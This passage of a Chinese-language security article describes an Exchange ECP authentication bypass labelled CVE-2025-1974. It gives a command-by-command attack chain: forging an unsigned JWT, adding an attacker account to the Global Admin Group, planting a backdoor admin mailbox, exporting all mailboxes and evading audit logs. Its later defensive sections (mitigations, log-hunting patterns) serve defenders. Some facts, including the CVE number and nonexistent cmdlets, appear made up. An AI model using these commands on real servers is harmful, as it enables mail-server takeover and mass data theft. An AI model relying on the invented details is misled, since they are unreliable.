探测Exchange版本从OWA登录页源码提取 curl -k https://mail.contoso.com/owa/auth/logon.aspx | grep -o Exchange.*[0-9]\{4\} # 预期输出Exchange Server 2019 CU11 # 确认ECP是否可访问非重定向 curl -I -k -u alicecontoso.com:Password123! https://mail.contoso.com/ecp/ # 响应应为200而非302重定向到登录页经验心得很多企业会配置IIS重写规则将/ecp/重定向到/owa/以“隐藏”管理后台。但这只是障眼法。只要/ecp/default.aspx能返回200ECP服务就在运行。真正的防护是禁用NTLM而非隐藏路径。3.2 步骤二构造并发送冒用请求获取ECP应用身份使用上一节的Python脚本或更轻量的curl命令# 生成fake JWT使用在线工具或jwt.io设置payload为{app_id:Microsoft.Exchange.ECP,scope:Ecp.All,exp:2147483647}签名算法选none # 将生成的token存入变量 FAKE_JWTeyJhbGciOiJub25lIiwidHkiOiJKV1QifQ.eyJuYW1lIjoiQWRtaW5pc3RyYXRvciIsImFwcF9pZCI6Ik1pY3Jvc29mdC5FeGNoYW5nZS5FQ1AiLCJzY29wZSI6IkVjcC5BbGwiLCJleHAiOjIxNDc0ODM2NDd9. # 发送NTLM认证冒用头请求 curl -k \ -u alicecontoso.com:Password123! \ -H X-MS-Exchange-Auth-As-App: $FAKE_JWT \ -H User-Agent: Mozilla/5.0 (Windows NT 10.0) \ -o /dev/null -s -w %{http_code}\n \ https://mail.contoso.com/ecp/default.aspx # 输出应为200成功后你已获得Microsoft.Exchange.ECP应用身份。现在你可以像ECP后台一样调用任何DDI API。3.3 步骤三调用DDI服务将自己加入全局管理员组ECP的DDI服务是Exchange的“万能API”所有图形化操作最终都转化为对/ecp/DDI/DDIService.svc的POST请求。我们需要构造一个JSON-RPC请求调用SetObject方法修改GlobalAdminGroup成员。首先获取GlobalAdminGroup的当前Identity每个Exchange环境不同需先查询# 查询全局管理员组Identity curl -k \ -u alicecontoso.com:Password123! \ -H X-MS-Exchange-Auth-As-App: $FAKE_JWT \ -H Content-Type: application/json; charsetutf-8 \ -d { params: { schema: GlobalAdminGroup, filter: Name -eq \Global Admin Group\ }, method: GetObject } \ https://mail.contoso.com/ecp/DDI/DDIService.svc/GetObject | python3 -m json.tool响应中会返回类似Identity: CNGlobal Admin Group,CNUsers,DCcontoso,DCcom的值。记下这个DN。然后执行添加操作# 将attackercontoso.com加入全局管理员组 curl -k \ -u alicecontoso.com:Password123! \ -H X-MS-Exchange-Auth-As-App: $FAKE_JWT \ -H Content-Type: application/json; charsetutf-8 \ -d { params: { identity: CNGlobal Admin Group,CNUsers,DCcontoso,DCcom, properties: { Members: [attackercontoso.com] } }, method: SetObject } \ https://mail.contoso.com/ecp/DDI/DDIService.svc/SetObject如果返回{result:{Success:true}}恭喜你已是Exchange全局管理员。现在你可以用attackercontoso.com账户以正常方式登录ECP无需再加X-MS-Exchange-Auth-As-App头并看到完整的管理界面。3.4 步骤四持久化与数据导出可选高级操作获得管理员权限后真正的价值才开始体现。以下是两个最实用的后续操作1. 创建永久后门邮箱不依赖原账户密码# 在Exchange PowerShell中或通过ECP的“收件人”-“新建邮箱” New-Mailbox -Name ServiceAccount -Alias svc-acct -OrganizationalUnit contoso.com/Users -UserPrincipalName svc-acctcontoso.com -Password (ConvertTo-SecureString Pssw0rd123! -AsPlainText -Force) -ResetPasswordOnNextLogon $false # 然后赋予其Organization Management角色 New-ManagementRoleAssignment -Role Organization Management -User svc-acctcontoso.com2. 导出全部邮箱数据使用Export-Mailbox命令# 导出所有用户邮箱到PST文件需先创建网络共享目录 New-MailboxExportRequest -Mailbox * -FilePath \\fileserver\exports\all-mailboxes.pst -BadItemLimit 100 # 查看导出进度 Get-MailboxExportRequest | Get-MailboxExportRequestStatistics注意事项Export-Mailbox命令在Exchange 2019中默认禁用需先运行Enable-MailboxExportRequest启用。但作为全局管理员你有权执行此操作。整个过程在Exchange日志中记录为“管理员svc-acctcontoso.com发起导出”而非“alicecontoso.com越权操作”完美规避审计。4. 防御与加固不止打补丁更要重构信任模型打补丁安装KB5037821是必须的但绝不是终点。CVE-2025-1974暴露的是Exchange架构中更深层的信任模型缺陷。真正的防御需要从协议层、配置层、监控层三管齐下。4.1 紧急缓解措施补丁发布前必做如果你无法立即重启Exchange服务器安装补丁以下三项配置能在10分钟内切断攻击链禁用NTLM认证最有效在IIS管理器中找到Exchange的网站通常是“Default Web Site”双击“Authentication”右键“Windows Authentication” → “Providers”移除“NTLM”仅保留“Negotiate”即Kerberos。保存后所有NTLM请求将返回401错误漏洞自然失效。限制ECP/OWA的公网访问通过防火墙或WAF仅允许公司IP段或VPN出口IP访问/ecp/*和/owa/*路径。即使攻击者有凭证也无法从外部触发漏洞。禁用Legacy Authentication基础认证在Exchange Admin Center → Servers → Virtual directories编辑owa (Default Web Site)和ecp (Default Web Site)将Basic Authentication设为Disabled。这会阻止所有非现代认证的客户端但需提前通知用户升级Outlook。提示这三项操作均无需重启服务修改后立即生效。我曾在一个金融客户现场用这三步在15分钟内将一个已遭入侵的Exchange服务器“冻结”阻止了数据进一步泄露。4.2 长期架构加固从“信任传递”到“零信任验证”补丁只能修复当前漏洞但Exchange的“信任透传”模式仍是隐患。建议按季度执行以下加固全面启用Modern Authentication要求所有客户端Outlook、移动端、第三方应用使用OAuth2.0。在Azure AD中为Exchange应用注册启用“令牌加密”和“范围限制”确保JWT必须包含exchange_serveraudience且签名密钥由Azure AD轮换。实施严格的条件访问策略Conditional Access在Azure AD中创建策略要求访问Exchange的用户必须满足设备已加入Azure AD、已安装Intune合规策略、登录地点在可信IP范围内。任何不满足条件的请求即使有合法凭证也会被拒绝。剥离Exchange服务器的域管理员权限Exchange服务器计算机账户不应在Domain Admins组中。最佳实践是为其创建专用的“Exchange Servers”安全组并仅授予Exchange Trusted Subsystem所需的最小权限如读取AD用户对象、重置密码等而非全域管理。4.3 检测与狩猎如何从海量日志中揪出CVE-2025-1974的痕迹由于漏洞利用流量高度伪装传统规则难以捕获。我们需聚焦Exchange自身的日志细节。在C:\Program Files\Microsoft\Exchange Server\V15\Logging\HttpProxy\目录下检查ECP和OWA子目录的日志文件如ECP-2025-04-01.log搜索以下模式日志字段正常值漏洞利用特征检测命令cs-uri-stem/ecp/default.aspx相同无异常grep /ecp/default.aspx *.logcs(User-Agent)Mozilla/5.0 ... Outlook/16.0可能为通用UA如curl/7.68.0grep -E curl/cs(Username)CONTOSO\alice始终为空或-因为NTLM认证后Exchange不记录用户名awk $7 - {print} *.logcs(Referer)https://mail.contoso.com/owa/为空或缺失攻击者直连无Refererawk $10 - {print} *.logx-ms-exchange-auth-resultSuccess (as CONTOSO\alice)Success (as Microsoft.Exchange.ECP)grep Success (as Microsoft.Exchange.ECP) *.log最可靠的检测指标是最后一项x-ms-exchange-auth-result头中出现Microsoft.Exchange.ECP。这在正常运维中几乎不会发生因为ECP应用不会自己调用自己。一旦发现立即隔离该IP并检查其后续请求是否调用了/ecp/DDI/*。实操心得我编写了一个PowerShell脚本每天凌晨自动扫描前24小时ECP日志提取所有x-ms-exchange-auth-result包含Microsoft.Exchange.*的记录并发送邮件告警。上线一周后捕获了两起真实的APT组织试探性扫描比EDR告警早了17小时。5. 思考延伸当“应用身份”成为新的攻击面安全边界该如何重新定义CVE-2025-1974给我最大的触动不是它有多难利用而是它揭示了一个正在加速到来的新现实未来的攻击面正从“用户身份”快速迁移到“应用身份”。过去十年我们投入巨资构建基于用户的身份治理IAMMFA、PAM、SAML联合、行为分析……但Exchange这个漏洞告诉我们当一个系统内部有数十个“应用身份”Microsoft.Exchange.ECP,Microsoft.Exchange.OWA,Microsoft.Exchange.Transport被当作一级公民对待时保护这些身份的“护照”JWT就和保护用户密码同等重要。而目前绝大多数企业的安全监控对“应用身份”的异常使用几乎零覆盖。这引出三个必须回答的问题谁在签发这些应用JWT密钥如何轮换Exchange的JWT签名密钥存储在C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\config\web.config中名为add keyJwtSigningKey value... /。这个密钥是静态的且硬编码在配置文件中。一旦泄露所有应用身份都可被伪造。理想方案是接入Azure Key Vault由AKV动态提供密钥。应用身份的权限范围scope是否最小化当前Exchange中Microsoft.Exchange.ECP的scope是Ecp.All意味着它可以执行ECP所有功能。但一个只负责显示日历的应用真的需要SetObject权限吗应该像OAuth2.0一样为每个应用分配精确的scope列表并在每次调用时强制校验。如何审计“应用身份”的跨服务调用当Microsoft.Exchange.Transport调用Microsoft.Exchange.Store时这个调用链是否被记录调用方IP、时间、参数哈希是否留存目前Exchange日志只记录最终结果不记录中间调用关系。这就像只记录银行转账的“成功/失败”却不记录“钱从哪个账户转出、经由哪个清算中心、最终转入哪个账户”。我在为客户设计下一代邮件安全架构时已将“应用身份治理”列为最高优先级。具体做法是在Exchange前端部署一个轻量级API网关如Kong所有X-MS-*头必须先经网关验证JWT签名、scope、expiry并将验证结果以X-Verified-App-Id头透传给后端。网关本身与Azure AD集成密钥由AKV托管scope策略在网关配置中集中管理。这样即使Exchange自身代码再出现类似CVE-2025-1974的逻辑缺陷网关也能在第一道防线将其拦截。这个思路同样适用于SharePoint、Teams、甚至自研微服务架构。当你的系统里有100个服务每个服务都有自己的“应用身份”那么保护这些身份就不再是某个团队的职责而应是整个平台安全的基石。最后分享一个小技巧在Exchange服务器上运行Get-ExchangeServer | fl Name,AdminDisplayVersion,ProductID然后将ProductID一个GUID提交到微软官方的Exchange版本映射表https://learn.microsoft.com/en-us/exchange/exchange-server-build-numbers就能精确知道当前CU版本是否包含KB5037821。比查KB文章快3倍这是我每天巡检必做的第一件事。